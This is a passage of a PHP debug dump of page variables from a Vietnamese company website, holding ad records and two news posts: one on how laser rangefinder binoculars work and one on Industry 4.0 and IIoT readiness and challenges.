0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ), 'description_for_layout' => '', 'keywords_for_layout' => '', 'tintucnoibat' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'duandatrienkhai' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'slideshow' => array( (int) 0 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 1 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 2 => array( 'Slideshow' => array( [maximum depth reached] ) ) ), 'adv_khuyenmai' => array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ), 'doitac' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'chayphai' => array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ), 'chaytrai' => array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ), 'chiasekinhnghiem' => array(), 'list_menu_footer' => array(), 'danhmuc_left_parent' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'danhmuc' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'support' => array( (int) 0 => array( 'Support' => array( [maximum depth reached] ) ), (int) 1 => array( 'Support' => array( [maximum depth reached] ) ) ), 'content_for_layout' => '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>21/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/vn-tung-co-dong-dat-den-8-do-richter.htm" title=""> <h3> <span>(21-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban-1.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/dong-dat-va-song-than-nguon-nang-luong-huy-diet.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/topo-cua-vu-tru.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ap-luc-tu-hop-tac-quoc-te.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/gan-lam-giac-mo-thien-van-viet-nam.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1">1</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:2">2</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:9">9</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:10">10</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11">11</a></span><span class="current number">12</span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13">13</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:14">14</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:15">15</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:46">46</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47">47</a></span><span class="next"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13" rel="next">Next »</a></span><span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47" rel="last">End »</a></span>Page 12/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>', 'scripts_for_layout' => '' ) $cat12 = array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $title_for_layout = 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ' $tinmoiup = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-19', 'status' => '1', 'view' => '89620', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-19', 'status' => '1', 'view' => '63417', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 